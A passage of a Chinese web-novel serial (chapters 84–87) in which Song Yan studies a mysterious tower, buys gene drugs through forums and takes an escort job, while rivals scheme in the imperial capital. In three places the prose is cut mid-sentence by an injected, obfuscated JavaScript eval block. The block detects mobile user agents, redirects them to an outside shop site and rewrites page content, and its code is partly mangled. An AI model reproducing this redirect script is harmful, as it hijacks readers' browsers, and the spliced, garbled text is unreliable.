有下属来给他添茶,到了近旁,才发现青年身前的茶盏没用一口,捧着茶壶左右为难,姜夜白见他踌躇,干脆挥手让他下去,盯着盏中的浮沫道:“再说,青木叔手下能人志士那么多,我只要当个吉祥物就好了,青木叔总不会嫌我废物多吃您两碗饭吧。” 他这话未免有自贬太过的嫌疑,青木听后道:“你还在生气。” 姜夜白抬起头,微微一笑:“我哪里敢生气,青木叔,我只是一时之间,几乎要忘了您当初把我带出帝都时立的誓,您当时说苍生倒悬,小人专权,你想杀了沈桉,却不愿伤及无辜。当时沈桉不在帝都,所以你在荒野蛰伏等待,可是过去这么些年,青木叔似乎已经忘了当初的誓言,沈桉好端端在议会厅坐着,倒是无关紧要的人一个个死去。” 他语气咄咄逼人,周遭的侍卫眼观鼻耳观心,纷纷低下头,大气不敢喘一声。 这两人之间的争斗,旁人插.进去就是送死。 青木却不太在意,反而有些高兴青年的不忿,不忿意味着感情用事,而不理智的人,往往更容易被操纵。 青木平心静气道:“你还是在怨我,小白,报仇没有你想得那么简单,沈桉不是一个人,我们铲除他,需要先铲除他背后的庞然大物......我知道你觉得有些人不该死,你总是太容易心软,所以才需要我。” 他语气低沉,只是在阐述一个既定的事实,话语中斩钉截铁的力量能让任何心存软弱的人顺服。 姜夜白皱眉不语。 青木笑了笑,鼻翼边牵起两道深深的八字褶皱,像条老而不死的沙皮狗,道:“但是我所做的一切都是为了我们,等到沈桉倒台,我们的小王子重回王宫之日,我这把老骨头......也就可以放心走了。” 话语间,竟隐隐有要把鬼面完全交给对面人的意思。 姜夜白果然露出震惊的神情:“青木叔,你这是......不行,你不能就这样丢下我不管!” 青木望着那张因惊异而更加美貌的面孔,心中暗骂一声蠢,面上却是一派脉脉温情:“这么多年,你也长成了个人的样子,没有我,你也能做得很好......我只是现在还不太放心,唉,做长辈的,总觉得自己还能再扛几年。” “毕竟,我这个老不死的要是倒下了,你们这些孩子,又该怎么办呢?” 姜夜白连声止住他的话。 青木又道:“这些年,我知道我对你有失管教,以至于你对我起了疑,是不是?或许是有人挑拨,你才来质问我。” 眼见姜夜白垂下眼,神色不定,青木便知道自己说对了:“这些年你在荒野,我不交大任务给你,你一定觉得自己被排挤出了计划之外,这时候叫你回帝都,你心里应该在嘀咕,我是要拿你当枪使。” “但是。”青木叹了口气,“小白啊,我只是想着你从小娇生惯养,在荒野上未必吃得惯苦,调你回帝都又怕你瞒不过沈狗的眼......现在看来,是我做错了。” 姜夜白抬起眼,乌沉沉的眼珠润润的,眼眶似乎有点湿:“是我错了......您别这么讲。” 青木摇了摇头:“没必要论个对错。这样吧,为了让你安心,我现在可以告诉你,我叫你回帝都是为了——接管这个安全区。” 姜夜白陡然瞪大眼。 青木安抚他道:“沈桉蹦跶的时间不会太长了......这样,我交给你几个任务,你去把这几个人查一遍。” 几张照片被推到姜夜白桌前。 临走时,青木没忘了提醒姜夜白拿把伞,外面还在下大雨,俨然要把这个好长辈的样子做足,顺口问道:“这几日听说你手下无事,年轻人是该多玩会......你都在干些什么呢?” 姜夜白一只脚已经踏出门,闻言,又收回脚,侧过脸回答青木的问题。 大雨滂沱,雨水飘进屋檐下,他脸上一瞬闪过异样的神采,脸上严丝合缝的面具仿佛裂开一条缝。 青木看见他笑了一下,嘴角微微翘起:“在给人家当厨子。” ...... 深夜。 宋言从天赋塔里出来的时候,天已经全黑了。 她几乎是压着身体的极限爬塔,一路爬到第七层寒狱,刚上去,人就硬.了。 最后还是小金围着她焦急地打转,不停地舔她的脸,才把她舔醒。宋言刚刚恢复意识,就被系统揪着耳朵强制登出。 系统没好气道:“你真是有本事,再晚点出来,你就会被永远留在塔里。” 宋言裹着条毛毯,坐在沙发上,浑身发冷。她双手抱着碗热茶,若有所思道:“那我现实里的身体会怎么样?” 系统道:“你的身体会一点点冻上,最后变成冰冻僵尸。” 宋言好一会儿没说话。 她垂眸盯着茶碗,几点黄褐色的叶子浮在上面,半晌才道:“这么说的话,我并不是精神登入天赋塔,而是身体登入......不、这么说也不对,我在塔里的伤并没有带到现实里来。” 手里的茶还冒着热气,她抱着它又捂了一会,去了些寒意,才缓缓道:“所以说,我登入天赋塔,或者说所有人登入塔,都处于一种很特殊的状态......我能在塔里使用自己的身体,但是伤不会带到现实里来,只是会觉得寒冷,而塔和现实里我的身体之间,一定存在某种联系。” 系统:“......宿主,我听不懂你在说什么。” 宋言找来一张纸,在上面依次画上三角形、正方形和圆形,指着它们道:“三角形代表我现实的身体,正方形代表我塔里的身体,而圆形代表塔。” 她点了点纸面上的三角形和圆形:“我现实的身体和塔之间原本是没有关系的,但是我能在塔里自如地使用自己的身体,那么[我]一定对[塔]进行了授权。” “软件你总安装过,软件要使用你的各种权限,安装时你都要勾选一个协议,这就是你和软件之间的链接。” “所以我和塔之间肯定也有这样的链接。”宋言笔尖轻点纸面,留下几点墨痕,“如果我只是精神登入的话,倒不一定要授权。因为我的意识会自动构建身体,但意识的死亡换算到现实中,只会是脑死亡,而不是身体一点点被冻上。” “所以,塔和我的身体之间, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13002053|122531||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一定是另一种链接。” 宋言在三角形和圆形中间画了一条线,正好从正方形中心穿过:“这个正方形可以看作我和塔之间的链接,我把它叫做[锚]。” 她拔出腰间的匕首,身上的毛毯随着这个动作落地,又被小金叼回来重新盖在她身上。 小金和宋言手里断成几截的刀片大眼瞪小眼,显然不明白她为什么要把这个拿出来。 看着多危险啊! 宋言盯着手里的刀片,道:“在塔里,我的匕首坏了,回到现实中,它也碎了。但是我的身体不是这样,无论我在塔里受到了多么严重的伤,回到现实都会复原。” “但天下没有白吃的午餐。” 宋言吸了吸鼻子,又把毯子裹紧了一点,抱着膝盖道:“塔给我力量,但它又从我身上剥夺了其他重要的东西,我身体里的火焰就是实证。既然塔遵循等价交换,我不认为它会平白保护我现实里的身体。” 宋言低头内视,果然在体内看到一团烧得正旺的黑色火焰,她爬到第七层后,火焰愈发旺盛,那股渗入骨髓的寒意也如附骨之疽般侵入四肢百骸。 “所以,”宋言轻叩桌面,发出两声清脆的响声,“我们可以得出两个结论。” 系统被她镇住了,问道:“什么结论?” 小金抬起乌沉沉的眼珠,也睁大眼睛望着她。 宋言喝了一口热茶,缓缓道:“首先,锚可以保护进入塔的异能者,它更像一个游戏时的存档点,让进塔的异能者身体状态恢复到进塔前的状态。” “其次......”宋言眼睫很轻地眨了一下,语气冷而淡,“塔需要异能者活着,帮助它把某些东西带出塔。” 她忽然问道:“塔是怎么来的?” 系统半天才反应过来是在问它,支吾道:“最开始畸变种出现的时候,与之相抗衡的异能者也应运而生。有人说这是进化,也有人说这是神赐,这些资料里不都有吗?” 宋言:“我是问你的看法。” 系统不说话了,宋言反而笑道:“看来你不是塔的主人。” 宋言把画着三个几何图形的纸揉成一团,丢进垃圾桶里,道:“进化和神赐的说法我都不信,前者样本太少,后者......别说我了,你信吗?” 宋言从沙发站起来,小金连滚带爬地爬到她身上,朝门口走去。 系统有些摸不着头脑:“大半夜的你出门?” 宋言淡声道:“做饭,我饿了。” 系统这才哦了一声,这个点,是该吃饭了。 ...... 菜很快上桌。 为了尽快出锅,宋言选了最简单的菜式——西红柿炒鸡蛋和丝瓜汤。 只是......鸡蛋炒出来是褐色的,丝瓜汤里的丝瓜咬起来有点夹生。 小金乖乖地各尝了一口,然后心有余悸地爬到了隔壁的卤肉盘子上。 宋言倒是不觉得难吃,她顶多觉得鸡蛋吃起来有点焦,丝瓜汤味道有点淡。 但是看着小金在隔壁吃得那么香,她也忍不住夹了一块卤肉尝尝。 卤肉是姜夜白留在二层事先做好的熟食,热一下就能吃,宋言想着缺份肉菜,干脆用微波炉热了下,就直接搬上了桌。 她夹起一块肉,咬了一口,觉得应该是牛肉,还浸了料酒,透着股五香味。 ...... 第二口、第三口。 小金目瞪口呆地看着自己盘子里的肉被它认定的妈妈一块块夹走,盘里堆成小山的肉片顿时就只剩下薄薄一层。 宋言有点饱了,靠着椅背擦了擦嘴。 她望着桌上还剩下一大半的西红柿炒鸡蛋和丝瓜汤,和隔壁小金拼命干饭的脑袋,一时有些不解。 食材经过不同人处理,区别真就那么大吗? 85. 帝都(十) 085 * 吃过饭,小金在餐桌上一拱一拱,自觉收拾起桌子,宋言则点开系统背包清点自己的随身物品。 背包里有镰刀螳螂的尸体、一本融合了碎片的书,还有殷越寄来的基因药和仪式材料。 这些东西都不能随处乱放,宋言干脆全塞进了系统背包里,反正格子多又用不着。 不过这几天的消耗...... 殷越大概也没想到,这个一声不响的女孩爬塔这么快,几乎是拿命在赌,短短几天,已经爬到了七层,而方可当初爬到这个位置也用了好几年。 爬这么快当然有代价,而宋言付出的代价是,即使离开塔,她也无时无刻不在浑身发冷,那股寒意从骨髓里渗出来,冻住她经脉血液。五脏六腑,无不在绵延不绝的寒意中结出冰霜。 可宋言不在乎。 因为在寒意沁入四肢百骸的过程中,她感觉到体内那股灼热的黑色火焰也越发旺盛,如果这是主宰自己命运要付出的代价,她甘之如饴。 在追寻自由的道路上而死,远好过面对自己命运时的无力。 现在最让她烦恼的反而是基因药和碎成一片片的匕首。 先前殷越寄了一箱药来,本意是缓解宋言晋升后身体的不适。 这箱药确实很有用,可问题就出在它太有用了。依照宋言这个可怕的爬塔速度,不出几日,原本满满当当的一箱药,现在只剩下零星几瓶。 这可都是在黑市都有价无市的中级基因药,一瓶够得上帝都一个中产之家好几年花销! 而宋言竟然几天就霍霍完了,何止一个败家可以形容,简直是行走的吞金兽! 吞的还是比黄金还贵的药! 宋言对自己的败家程度浑然不觉,她只是觉得自己的药喝完了,打算再买一点而已。 或者说,是再申请一点。 军部在册登记的职员每月都有基因药的申请额度,宋言是每月五瓶,如果有军衔在身,可以再涨。 她盯着手机屏幕上鲜红的可申请额度,顿时觉得殷越,真的真的是个很大方的人。 但蚊子再小也是肉,宋言指尖点了点“确认申请”,个人消息栏立刻多了个红点。 显示[订单配送中]。 宋言又点开内部论坛。 论坛里不止有灌水的帖子,也有广撒网的组团打本、交易和交友帖。 宋言点开了一个基因药标题的交易贴。 [1L(置顶):手头有3瓶高级基因药、15瓶中级基因药、20瓶低级基因药,诚意者私。] 是傍晚发的帖子,还没有人回复,军部不禁止内部交易,但设定了交易限额,如果宋言事先了解一下,就会发觉这个帖子的交易额度很巧妙,几乎是和规则面对面打了个擦边球。 但宋言没了解那么细,她只是想买几瓶药而已。 宋言想了想,私戳了下发帖人。 宋言没有设置论坛昵称,系统默认的是姓名首字母。 [S:中级基因药多少钱一瓶?] 这时是深夜,宋言只是抱着试试看的态度,却没想对面很快有了回复。 [RED:一瓶四十万帝国币] 宋言翻了下自己账户,虽然是孤女,但原身的父母留了一笔钱给她,她先前都没打算在安全区待着,自然也没有用的想法,但是现在...... 账户里有一百五十万。 宋言又想了想,慢慢打字。 [S:批量买有优惠吗?] 这次“对方正在输入中”显示了很长时间。 [RED:你还想要批量买?你耍我呢,先不说你有没有那么多钱,光是你一个人用药,一个月最多也就2瓶,怎么,你药大象啊!] 宋言扭头看了一眼所剩无几的药箱,喝完的空瓶子没丢,堆在一角,大约有十几瓶。 她思索片刻,开始套对方的话。 [S:我有个朋友从天赋塔出来后晕倒了,给他喝了十几瓶药还没醒,所以我才想多买点。] 对面很快发来一长段话,语气震惊。 [RED:不是你朋友是大象呢!正常人喝一次喝3瓶就撑不住了,这是药不是你随便吃的零嘴你懂吗??药都是有副作用的,你那朋友,嗬嗬,自求多福吧。] 宋言读完这段消息,陷入沉思。 看来不能在军部内网大批量买药,否则一定会被怀疑,而上网又是实名制,很容易就能查到买主是她。 宋言又在心中给殷越这条线画了个×。 殷越作为方可的副队,权限比她大,和他要基因药估计也能要到,但是......她一次喝了十几瓶的药的事也就瞒不住了。 方可对她抛出橄榄枝不假,但如果察觉到她有问题,会不会清除她这个问题也不得而知。 宋言思考片刻,关闭和瑞德的对话框,点开了另一个界面。 她慢吞吞地打字。 [宋言:问你件事。] 对方似乎也深夜难眠,这条消息下,很快出现了好几条回复。 [楚瑜:姐姐姐!你终于回我了!] [楚瑜:姐你问,这帝都就没有我楚少不知道的事!] [楚瑜:就是......那个,我回答完这个问题,我的宠物能不能还我,你带走它之后,我现在都睡不着觉!] 后面跟着三个狮子哭哭的表情包。 宋言盯着这三个表情包,忽然觉得自己拿走的不是他的宠物,而是他的外置大脑。 她沉默片刻,无情地继续打字。 [宋言:有什么来钱快的活,而且方便出手货物的。] 宋言这句话后半句才是重点,可以出手货物就意味着可以买进货物,军部内网难以交易的东西,或许她可以在黑市上买到。 而且她也确实有东西需要出手。 [楚瑜:嘶......让我想想。] [楚瑜:这种地方,有倒是有......拾荒者,你听过吗?] 拾荒者,常年盘踞在帝都郊区,最开始是在周边辐射区拾荒的流浪汉,后来不知道怎么被组织起来,逐渐形成一个地下组织。 根据系统提供的资料,这个组织似乎还和姜维有关系。 对面又发来几条消息。 [楚瑜:姐,你要找来钱快的活,可以去拾荒者接单子啊。出手货物的话,应该也可以在那边发布委托。] [楚瑜:那边还挺正规的,我的锤锤就是在那买的,卖家竟然没有坐地起价!] 宋言想了想,问道:[怎么找拾荒者?] 楚瑜发过来一个链接,竟然没有被屏。 宋言点进去,是一个相当简洁的界面。 分为三个模块,分别是“交易”、“委托”、“交友”。 宋言对交友没兴趣,她现在最需要的是钱和药。 还有一把合适的武器。 手机顶端弹出楚瑜的消息。 [楚瑜:诶诶,姐,你是不是缺钱啊,我加点钱,你把锤锤还给我好不好? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13013463|122531||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ] [楚瑜:姐,我真的,想它想得睡不着觉,姐我都回答你的问题了,做人得言而有信吧。。。] 宋言眨了眨眼,下一秒,按下免打扰键。 顶端的消息提示不再出现,宋言点开委托板块。 这个板块内容五花八门,宋言顿时有一种乡下人进城的错觉。 宋言一条条浏览下去。 [重金求子!家有繁殖期撕裂者一只,急需配种!] 撕裂者......军部畸变种百科第一页就详细介绍过的畸变种?! 宋言继续往下看。 [护送委托,成年虎斑豹三只,运往城南。] [诚聘赏金猎人!雇主近期远行,急需保镖!薪资面议。] 宋言在这一条停下来。 她现在最需要的是钱和药。思索片刻后,她点开了发布者的私聊窗口。 网页是匿名,不需要登录也可以交流。 [2341bb7:薪资,多少?] 发完这句,宋言觉得眼皮有点沉,窗外夜沉如水,星星点点的光透进来,她一时觉得有些困。 她支着脑袋,抬头,凌晨三点,再过会儿该天亮了。 不过熬夜的夜猫子显然不止她一个,对面很快回复消息。 [匿名发布者:任务完成后结,届时面议。] [匿名发布者:不过,我们老板要求挺高的,你能行吗?我们老板要下辐射区的,半吊子就别来了。] [2341bb7:我刚从辐射区出来。] 宋言按下发送键,对面迟迟没有回复,她权衡了一下,又给其他几个类似的委托也发了消息后,直接回二楼关门睡觉。 ...... 有人终于睡了,有人还在值夜班。 守城门不算好差事,但李四没得选。 他是家里最小的儿子,前头三个兄弟都死了,便由他来顶上哥哥的空缺。 这世道死人不是什么稀罕事,李四甚至算不上惨,虽然家里人死得差不多了,但至少还给他留了个饭碗。 所以在城门巡检官上门宣布这个讣告时,李四第一时间不是去收敛几个兄弟的骸骨,而是问巡检官有没有空出来的位置。 凭着这份机灵劲儿,李四顺利得到了这个饭碗。 他值夜班从未出过纰漏,托这副招子的福,偶尔有几次畸变种在附近游荡时,是李四第一个发现了它们,上报长官。 李四因这份机敏,成了夜班值守的头儿,有他值守的夜晚,城门总是分外安宁。 但今晚有些不同。 李四站在瞭望台上,眼皮忽然有些沉重。 他反应过来,迅速眨了眨眼睛,狠狠拧了把大腿内侧的软肉,一激灵清醒过来。 有情况! 这三个字陡然浮现在他脑海中,李四反而镇定下来,他站在瞭望台上,不动声色地扫了眼四周,远处,夜色沉沉,静谧无声,只有悉悉索索的蝉鸣。 天地静默无声,只有天边一轮圆月高悬,月光如薄雾,飘飘渺渺地近来,仿佛女子的歌声。 李四隐约听见一支歌谣,唱的是英雄的兵早死,懦弱的人归乡。那歌声如梦如幻,掺着点夜晚的寒意,轻纱般笼罩上李四头顶。 如归故国,如坠梦乡。 月亮在眼前越来越大、越来越圆,李四的眼皮越来越沉,在完全阖上眼的那一刻,一道惊雷在他脑中响起。 他身体陡然一僵。 ——这天是月初,哪来的圆月? 86. 帝都(十一) 086 * “你下手倒是干脆利落。”女子戴着帷帽,黑纱垂下来,瞧不出面容,一把嗓子如寒泉冷玉,分外清冽。 她目光所及之处,值守的卫兵如地里倒伏的麦子,三三两两,趴在地上,不再动弹。 女子思量片刻,道:“这样做,不会引起上头的注意吗?” “引起又怎样。”她的同伴道,“在我还是人的时候,差一点点就把他们议会长的侄子也收了,现在想起来还有些可惜,我的马戏团里正缺个小丑。” 帷帽女子身旁站着一个英俊迷人的男人,桃花眼微微眯起,手持一支玫瑰花,煞有介事地朝卫兵们举了个躬,这是表演结束的基本礼仪。 即使观看演出的人已经无法回应。 女子微微点头,说起正事:“上回你在这我这占了星盘,依星相来看,你要找的东西就在帝都之中。可依现在的情形,那东西似乎并不好得。” 魔术师不以为意:“上回情况太复杂,我的域还没有展开,才教人捡了漏。这回她逃不了的。” “话不要说得太满,不然你要是失败了,我来捞你的时候脸都不知道往哪搁。”一道清而冷的声音从帷帽下传来,“上一次你从童话镇回来,我好容易才分辨出哪是胳膊哪是腿,我以为你会记住这个教训,没想到你还是这么盲目自大。” 凌晨四点,天边已经露出些微晨光,再过一会儿,巡查的人就要到了。 女子移开眼,望了眼天色,不再说话。 魔术师嘴边浮起一个笑:“我当然不会让我们伟大的占星师丢脸,我们来此也是为了同一个目的,那块碎片。” 他慢条斯理道:“而碎片可以打开四扇门其中一扇,只要进入其中一扇门,我们衰败的速度就会大大降低。” “啧。”魔术师忍不住讥讽道,“原以为外面的世界有多好,我从塔里出来,改行马戏团,发现都一样,大家都是在沉船上选座位,区别不过是早晚而已。” 女子道:“可是只要我们得到了碎片,就能得到登上方舟的钥匙。” 魔术师微微颔首。 “行了,快天亮了,收拾收拾东西入城吧。”女子目光放远,站在高处,整座城市尽收眼底,一些早餐铺子已经在准备出摊,零星亮起几盏灯,浮沫泡影般散在沉郁夜色里。 天边一弯新月被云遮住,天地间最后一点月光也消失了。 女子帷帽下的脸微笑,徐徐道:“今日无月,是个吉兆。” ...... 瑞德盯着手机上的信息,思量许久才敲下回复。 然而他等了许久,屏幕上也没有新的信息出现。 瑞德有点纳闷,时钟显示的时间是凌晨四点,正是闯的时候,对面怎么睡得着的? 他想了想,又拿起手机发了几条消息,才走进浴室冲澡。 水汽濡湿镜面,映出一大片蜜色、模糊的肉.体,瑞德左胸纹着一串字母,这地方平时不显露,但真要识别身份时,又很方便。 瑞德看着镜子中模糊的身影,伸手抹去左胸的水渍,露出三个黑色的字母。 “R.E.D。” 红。 瑞德边往身上抹沐浴露,边感叹道:“生意不好做啊,军部内网挂了一批药卖不出去,看来还是得转外销。” “外销就得经过辐射区,如果绕远路......恐怕很快就会被共.济会那些疯狗追上,唉,不过是拿了他们一批药,用得着这么热情?” 瑞德打开花洒,水流从高处喷洒,身上的泡沫被冲净,他叹了口气,自言自语道:“这事得办利索,毕竟......红姐要回来了。” ...... 宋言这一觉睡了八个小时。 日头正烈,灼烫的阳光随着日头西移,落在她纤长的睫羽上,笼了一层细密的光。 手机屏幕上是几条未读消息。 4:06 [匿名发布者:行吧,下午三点,来这个地址。] 对方发来一个坐标定位。 [匿名发布者:如果你合适的话,我会先付你一部分定金,尾款任务完成后结。] 宋言很快读完,心头泛起一丝疑惑。 依她找工作的经验,如果老板很快发出面谈邀请,回复这么迅速,多半是这个职位有坑,或者愿意跳坑的人确实少。 她又划开其他的消息界面,除了楚瑜深夜又冲她嚎了几句,投出去的其他石子都毫无音讯。 宋言思考良久,最后的决定是先点开楚瑜的信息栏,把他拉黑后再回到原来的界面,缓缓敲下一行字。 13:15 [2341bb7:好] 下午三点。 瑞德站在阴凉处,每隔几分钟就点开手机看一下。 14:40,没来。 14:45,没来。 14:50,还是没来。 热气从地面升起,瑞德即使站在树荫下,也觉得酷热难当,他忍不住想,对方不会真的要三点才到吧。 赏金猎人这一行,挣的是快钱,任务又一般沾点上不得台面的东西,是以许多任务到了当天猎人们才明白自己要做什么。 所以提前到场熟悉情况,是这一行心照不宣的潜规则。 但宋言显然不知道这一点。 她只觉得这客户果真品味清奇,约在一个旮旯弯里面试。一路找来,宋言从繁华都市逐渐走入城乡结合部,黄沙漫天,路边连树都看不见几棵。 宋言真心觉得这片有待开发,不然怎么也是个杀人埋尸的风水宝地。 客户犹嫌给她发来的地址不够清楚,还用语言详细描述了自己所处的位置。 [匿名发布者:我在一根彩旗后等你,这边有一台货车,应该很好认。] 于是宋言按图索骥,找遍了周边所有看着像根旗杆的东西,她甚至连一根插着几根鸡毛的逗猫棒都没有放过! 最后当然是想撸她的猫被小金吓走了。 宋言出门其实不算晚,但是东找西找一耽搁,心急如焚的就变成了瑞德。 在分针快走到12的时候,瑞德终于远远望见了一道黑色的身影。 来人黑衣黑裤,脸上还戴了副口罩,防晒......不是,防窥视做得相当出色。 这个身形,男女都有可能,瑞德看着对方全身上下唯一没有遮住的浅色眼眸,迟疑道:“你是那个......bb?” 宋言点了点头。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13034793|122531||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 瑞德这下笑起来:“既然这样,上车吧,日落前我们出帝都。之后过了容平那边的辐射区,这个委托就可以结束了。” “哦,这是定金。”瑞德爽快地在手机上划了一下。宋言打开电子账户,里头多了笔未知账户的汇款。 见瑞德已经上了驾驶座,宋言沉默片刻,问道:“现在就走?” “当然。”车上传来一声笑,瑞德坐在车上,居高临下,眼神有些锐利,“这一行不都是这样的吗?” “哦。”宋言慢吞吞答一声,完全无视瑞德审视的眼光,径直坐上副驾,才道,“不好意思,我今天刚入行,不太懂规矩。” 瑞德:“......” 宋言感觉到,自己这句话说完,瑞德外露的视线顿时收敛了许多,她恍若未觉,只慢慢系好安全带,靠着椅背打盹,俨然把瑞德当司机的架势。 货车缓缓启动。 瑞德边发车,边关注身旁的黑衣人,她全身包得严严实实,只露出一双琥珀色的眼瞳,睫毛尾端微微翘起,似一层厚重的帘,遮住旁人窥探的目光。 而她现在似乎有些困倦,手背挡住光,头微微垂下,身体随着车辆上下起伏。 瑞德收回自己的目光,既然没能试探出什么,再看无益。 况且,不管对方有没有本事,这车,今天一定要开出帝都。 货车走得不快,快要驶出这片黄沙地时,宋言忽然抬起头,问道:“你说的那个彩旗在哪?我一路过来,旗杆都没看到一根。” 瑞德一手操纵方向盘,分心答道:“两棵树中间,就是了。” 顺着瑞德指的方向,宋言终于看到了那面彩旗。 与其说是彩旗,不如说是破布。一块红色的塑料布挂在枝头,四周一无绿叶,二无蓝天,那抹红竟然成了衰草枯黄中唯一的色彩。 红布上的字被风蚀得褪了色,宋言勉强能看到中间有一个“来”字。 宋言有些惊讶:“那是旗?” 瑞德干笑一声,不知想起了什么,忽而道:“有人说它是旗,它就是了。” 日头偏西时,货车终于开出帝都城门,一出帝都,瑞德立刻猛踩油门,货车被开成超跑,车上的货物彼此碰撞,发出砰砰的响声。 宋言在车里颠上颠下,忍不住道:“你疯了?!” 瑞德也不太好受,油门却不松一点:“时间来不及了。” 宋言忽然想到什么,眉头皱起,问道:“你这车里,装的是什么?” “药。”瑞德答得简单,奇怪看她一眼,“不然你以为是什么?” 宋言平平道:“我在想,会不会是什么易燃易爆物品,你急着找个地方,所以才说时间来不及了。” 瑞德失笑道:“这怎么可能,赶时间也不是这个赶法。” 宋言微微摇头:“不,正是这个赶法,赶着——去投胎啊。” 瑞德嘴角抽了抽,脚下油门稍松,货车离开帝都,已经驶出很长一段距离。 宋言往窗外望去,日薄西山,漫漫长夜一点点侵染上天际——他们正和太阳背道而驰。 容平离帝都大概一日的车程,按瑞德这个速度,约莫一晚就能到。 届时尾款结清,她就回帝都。 87. 帝都(十二) 087 * 月如银钩。 货车缓慢地在畸变种的尸体中前行,瑞德小心控制着方向盘,以免轮胎打滑。 车灯经过之处,血肉掺杂着骨骼,一片狼藉。 宋言又往车下放了一道黑焰,烧出一条道供货车行驶。 容平是一座小城,离帝都不远,但要经过一个低危辐射区,因为周边人烟稀少,这个辐射区威胁也不大,无论是军部,还是异能管理局,都不会派人处理。 大多数货运公司宁愿绕远路,也不愿意经过这里。 无人打理的院子,很快就会长满杂草,辐射区也是这样。货车缓缓驶入这片辐射区的时候,宋言入目所及,全是行动迟缓的畸变种。 在货车大灯照过来的一瞬间,它们没有丝毫反应,只零星几只畸变种似有所觉地抬头,然后继续我行我素。 货车碾过糜烂的血肉和尸骨,往前缓缓行进。 宋言不敢松懈,边为货车开路,边透过窗子和窗外的月光,观察窗外的情况。 静谧、祥和。 只除了潜伏在夜色里,几百双荧绿的眼睛。 系统不无感慨:“它们都进入衰败期了,你没必要绷得这么紧。” 宋言目光扫过底下乌泱泱的畸变种,问道:“什么意思?” 系统道:“畸变种无法进入塔,没有上升通道,诚然它们可以通过吞噬同类晋升,但任何馈赠皆有代价,畸变种的代价就是,它们衰败的速度比人类异能者快很多。” 系统:“喏,你现在看到的,就是进入衰败期的低级畸变种。失去知觉,行动迟缓,等死而已。” 宋言又放出一道火焰,清理车前的畸变种,她稍微理解了几秒系统的话,语气有些古怪:“这么说,人类异能者也会进入衰败期?衰败了会怎样?” 系统:“不怎么样,这些畸变种如何,人类便如何。” “不过,”系统话锋一转,许是为了宽慰宋言,“大多数异能者都活不到进入衰败期的年纪,你不必担心。” 宋言:“......” 系统的话有些惊悚,宋言干脆眯起眼,仔细打量车周的畸变种,它们皮肤溃烂,目光呆滞,对货车与其说是无视,不如说是行动困难根本来不及避让。 瑞德艰难地打了半圈方向盘,车身终于摇摇晃晃驶出这片诡谲的辐射区。 他松了口气,冷汗顺着下颌滴落,胸前湿了一片:“呼——终于出来了。” 宋言点头,这片辐射区位于逼仄的山谷,细长的狭道上,挤满了密密麻麻的畸变种,她要做的只是扫清车前的障碍,但瑞德要考虑的就有很多了。 稍有不慎,车就会侧翻,掉进深不见底的谷底。 走这么危险的路段,还在夜间行车,宋言不动声色地看了眼瑞德,心想瑞德的秘密恐怕不比自己少。 但是无所谓,他们萍水相逢,只要瑞德按事先说好的结工钱就行。 货车开始加速,宋言移开眼,看向窗外,一轮明月遥遥挂在天边,清辉万里,霜色如洗。 ...... “妹子,妹子,醒一醒啊!” “不会犯什么病了吧?” “妹子,听得到我说话吗?” 宋言刚醒来,就看到一片人围在眼前,一个老婆婆离她最近,见她睁开眼,拧成一团的八字眉瞬间舒展开。 她面容慈祥,连连点头:“醒来就好啊。” “是啊,还以为出了什么事,啊呀,一个人在车上,出了事怎么办嘛。” “你一直不醒,我都打算打120啦!” 宋言不动声色地听着他们的议论,环顾四周,她判断这是一辆地铁,站牌显示她已经到达终点站。 “你不走吗?已经是最后一站了。”老婆婆推她。 宋言凝滞一瞬,敛了敛眉目:“就走。” 正值夏季,离开地铁的冷空调,宋言身上很快积了一层薄汗。 蓝天,白云,郊区乱建的工厂烟囱排出的废气。 哪一样都在昭示,她回到了曾经平静的生活。 宋言点开手机,今天是周一,工作日,但她睡过了站,已经有同事发来询问的信息。 宋言干脆请了假。 但同事的回复更让她不解。 [唐:好的,宋总监。] 宋言记性很好,在她印象里,自己只是个普通的正式员工,离总监这个位置,起码还有十几年的路要走,怎么一觉醒来就挂上这个头衔了? 宋言想了想,打开个税app,同事可能会骗人,但交的税和工资条不会。 个税app显示,她上年度交的税是85900,而工资条...... 宋言擦了擦屏幕,忽然有些怀疑现在经历的一切才是一场梦。 她梦都不敢梦这么大的。 站台上人来人往,每个人都捧着手机低头走过,这种忙碌的冷漠反而让宋言暂时松了一口气。 她手机钱包里的余额后面跟着好几个零,完全有奢侈一把的资本,宋言打开某度地图,输入目的地,叫了辆车。 司机很快到达。 宋言看了下时间,她下单的时间是11:05,司机到达的时间是11:06。 仿佛这辆车从一开始就停在地铁站口,等待为她服务。 宋言迟疑片刻,没有立即上车。司机摇下车窗,看口型是在催促她。 宋言停在原地。 